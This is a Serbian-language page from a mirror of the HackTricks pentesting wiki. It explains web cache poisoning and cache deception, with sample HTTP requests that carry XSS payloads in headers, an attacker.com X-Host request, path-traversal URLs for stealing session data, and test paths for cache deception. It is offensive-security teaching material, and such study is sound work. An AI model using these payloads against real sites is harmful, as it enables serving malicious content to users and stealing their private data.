Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

18 KiB
Raw Blame History

Trovanje keša i prevara keša

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Razlika

Koja je razlika između trovanja keša veb stranica i prevara keša veb stranica?

  • U trovanju keša veb stranica, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
  • U prevari keša veb stranica, napadač uzrokuje da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima ovaj sadržaj iz keša.

Trovanje keša

Trovanje keša ima za cilj manipulisanje kešom na strani klijenta kako bi se naterali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer zaraženi odgovor se servira isključivo korisnicima koji posećuju stranicu tokom perioda zagađenja keša.

Izvođenje napada trovanja keša uključuje nekoliko koraka:

  1. Identifikacija neindeksiranih ulaza: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer mogu biti iskorišćeni za manipulaciju keša.
  2. Iskorišćavanje neindeksiranih ulaza: Nakon identifikacije neindeksiranih ulaza, sledeći korak je saznati kako iskoristiti ove parametre da se izmeni odgovor servera na način koji koristi napadaču.
  3. Osiguravanje da je zaraženi odgovor keširan: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš zagađen će dobiti zaraženi odgovor.

Otkrivanje: Provera HTTP zaglavlja

Obično, kada je odgovor sačuvan u kešu, postoji zaglavlje koje to pokazuje, možete proveriti na koja zaglavlja treba da obratite pažnju u ovom postu: HTTP zaglavlja keša.

Otkrivanje: Keširanje koda 400

Ako sumnjate da se odgovor čuva u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori sa status kodom 400. Zatim pokušajte da pristupite zahtevu na uobičajen način i ako je odgovor status kod 400, znate da je ranjiv (i čak možete izvesti DoS).
Loše konfigurisano zaglavlje može biti samo \: kao zaglavlje.
Napomena da ponekad ovi tipovi statusnih kodova nisu keširani pa će ovaj test biti beskoristan.

Otkrivanje: Identifikacija i procena neindeksiranih ulaza

Možete koristiti Param Miner da bruteforce-ujete parametre i zaglavlja koji mogu promeniti odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For da bi pokazala klijentu da učita skriptu odande:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Izazovite štetan odgovor sa serverske strane

Sa identifikovanim parametrom/headerom proverite kako se filtrira i gde se odražava ili utiče na odgovor iz headera. Možete li ga zloupotrebiti na bilo koji način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)

Dobijanje keširanog odgovora

Kada ste identifikovali stranicu koja može biti zloupotrebljena, koji parametar/header koristiti i kako ga zloupotrebiti, trebate dobiti keširanu stranicu. Zavisno od resursa koji pokušavate dobiti u kešu, ovo može potrajati neko vreme, možda ćete morati pokušavati nekoliko sekundi.
Header X-Cache u odgovoru može biti veoma koristan jer može imati vrednost miss kada zahtev nije bio keširan i vrednost hit kada je keširan.
Header Cache-Control je takođe interesantan kako biste znali da li se resurs kešira i kada će sledeći put resurs ponovo biti keširan: Cache-Control: public, max-age=1800
Još jedan interesantan header je Vary. Ovaj header se često koristi da ukazuje na dodatne headere koji se tretiraju kao deo ključa keša čak i ako obično nisu ključni. Stoga, ako korisnik zna User-Agent žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifičan User-Agent.
Još jedan header koji se odnosi na keš je Age. Definiše vreme u sekundama koliko je objekat bio u kešu proxy servera.

Prilikom keširanja zahteva, budite oprezni sa headerima koje koristite jer neki od njih mogu biti neočekivano korišćeni kao ključni i žrtva će morati koristiti isti header. Uvek testirajte Trovanje Keša sa različitim pregledačima da biste proverili da li radi.

Primeri eksploatacije

Najjednostavniji primer

Header poput X-Forwarded-For se odražava u odgovoru nefiltriran.
Možete poslati osnovni XSS payload i otrovati keš tako da će svako ko pristupi stranici biti izložen XSS napadu:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Korišćenje trovanja keša veb stranica za iskorišćavanje ranjivosti u rukovanju kolačićima

Kolačići takođe mogu biti reflektovani u odgovoru stranice. Ako možete zloupotrebiti to da izazovete XSS na primer, možete iskoristiti XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Trovanje keša sa prolazom putanje za krađu API ključa

Ovaj tekst objašnjava kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 jer će sve što odgovara /share/* biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je urađeno kada je zahtev stigao do veb servera.

Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja keša na vebu

Ponekad će vam biti potrebno iskoristiti nekoliko neindeksiranih ulaza kako biste mogli zloupotrebiti keš. Na primer, možete pronaći Otvoreno preusmeravanje ako postavite X-Forwarded-Host na domen koji kontrolišete i X-Forwarded-Scheme na http. Ako je server preusmeravao sve HTTP zahteve na HTTPS i koristio zaglavlje X-Forwarded-Scheme kao ime domena za preusmeravanje. Možete kontrolisati gde će stranica biti usmerena preusmeravanjem.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Iskorišćavanje sa ograničenim Vary zaglavljem

Ako ste otkrili da se zaglavlje X-Host koristi kao ime domena za učitavanje JS resursa ali da Vary zaglavlje u odgovoru ukazuje na User-Agent. Zatim, trebate pronaći način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Iskorišćavanje HTTP Cache Trovanja zloupotrebom HTTP Request Smuggling

Saznajte kako izvesti napade Cache Trovanja zloupotrebom HTTP Request Smuggling.

Automatizovano testiranje za Web Cache Trovanje

Alat Web Cache Vulnerability Scanner može se koristiti za automatsko testiranje web cache trovanja. Podržava mnoge različite tehnike i visoko je prilagodljiv.

Primer korišćenja: wcvs -u example.com


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Vulnerabilni Primeri

Apache Traffic Server (CVE-2021-27577)

ATS je prosleđivao fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Dakle, zahtev /#/../?r=javascript:alert(1) je poslat backend-u kao /#/../?r=javascript:alert(1) i ključ keša nije sadržavao payload unutar njega, samo host, putanju i upit.

GitHub CP-DoS

Slanje loše vrednosti u zaglavlju content-type izazvalo je keširan odgovor 405. Ključ keša je sadržavao kolačić tako da je bilo moguće napasti samo neautentifikovane korisnike.

GitLab + GCP CP-DoS

GitLab koristi GCP buckete za skladištenje statičkog sadržaja. GCP Bucketi podržavaju zaglavlje x-http-method-override. Tako je bilo moguće poslati zaglavlje x-http-method-override: HEAD i otrovati keš tako da vrati prazno telo odgovora. Takođe je mogao podržavati metod PURGE.

Rack Middleware (Ruby on Rails)

U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrsishodnost Rack koda je da uzme vrednost zaglavlja x-forwarded-scheme i postavi je kao šemu zahteva. Kada se pošalje zaglavlje x-forwarded-scheme: http, dolazi do 301 preusmerenja na istu lokaciju, što potencijalno može izazvati DoS (Denial of Service) za taj resurs. Dodatno, aplikacija može prepoznati zaglavlje X-forwarded-host i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa servera napadača, predstavljajući sigurnosni rizik.

403 i Skladišni Bucketi

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Autorizacijskim zaglavljima rezultovao bi 403 odgovorom koji bi bio keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može još uvek biti prisutno u drugim proxy uslugama.

Ubacivanje Ključnih Parametara

Kešovi često uključuju određene GET parametre u ključ keša. Na primer, Fastly-jev Varnish je keširao size parametar u zahtevima. Međutim, ako je URL-kodirana verzija parametra (npr. siz%65) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravan size parametar. Ipak, backend bi obradio vrednost u URL-kodiranom parametru. URL-kodiranje drugog size parametra dovelo je do njegovog izostavljanja iz keša ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanjem 400 Bad Request greške.

Pravila Korisničkog Agent

Neki programeri blokiraju zahteve sa korisničkim agentima koji se podudaraju sa onima visokoprometnih alata poput FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti poput keš trovanja i DoS-a.

Nezakonita Zaglavlja

RFC7230 specificira prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van navedenog opsega tchar bi idealno trebala izazvati odgovor 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok zaglavlje cache-control nije prisutno. Identifikovan je iskoristiv obrazac gde slanje zaglavlja sa nevažećim karakterom, poput \, rezultuje keširanom 400 Bad Request greškom.

Pronalaženje novih zaglavlja

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Prevara

Cilj Cache Prevara je da natera klijente da učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama.

Pre svega, napomenimo da su ekstenzije poput .css, .js, .png itd. obično konfigurisane da se sačuvaju u kešu. Stoga, ako pristupite www.example.com/profile.php/nonexistent.js keš će verovatno sačuvati odgovor jer vidi .js ekstenziju. Međutim, ako aplikacija ponavlja sa osetljivim korisničkim sadržajima sačuvanim u www.example.com/profile.php, možete ukrasti te sadržaje od drugih korisnika.

Drugi testovi:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Koristite manje poznate ekstenzije poput .avif

Još jedan veoma jasan primer može se naći u ovom opisu: https://hackerone.com/reports/593712.
U primeru je objašnjeno da ako učitate nepostojeću stranicu poput http://www.example.com/home.php/non-existent.css sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i keš server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom pregledaču i posmatrati poverljive informacije korisnika koji su pristupili pre.

Napomena da bi keš proxy trebalo da bude konfigurisan da kešira fajlove bazirano na ekstenziji fajla (.css) a ne na osnovu tipa sadržaja. U primeru http://www.example.com/home.php/non-existent.css će imati text/html tip sadržaja umesto text/css mime tipa (što se očekuje za .css fajl).

Saznajte kako izvesti Napade Cache Prevara zloupotrebom HTTP Request Smuggling.

Automatski Alati

  • toxicache: Golang skener za pronalaženje ranjivosti web cache trovanja na listi URL-ova i testiranje više tehnika ubacivanja.

Reference


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: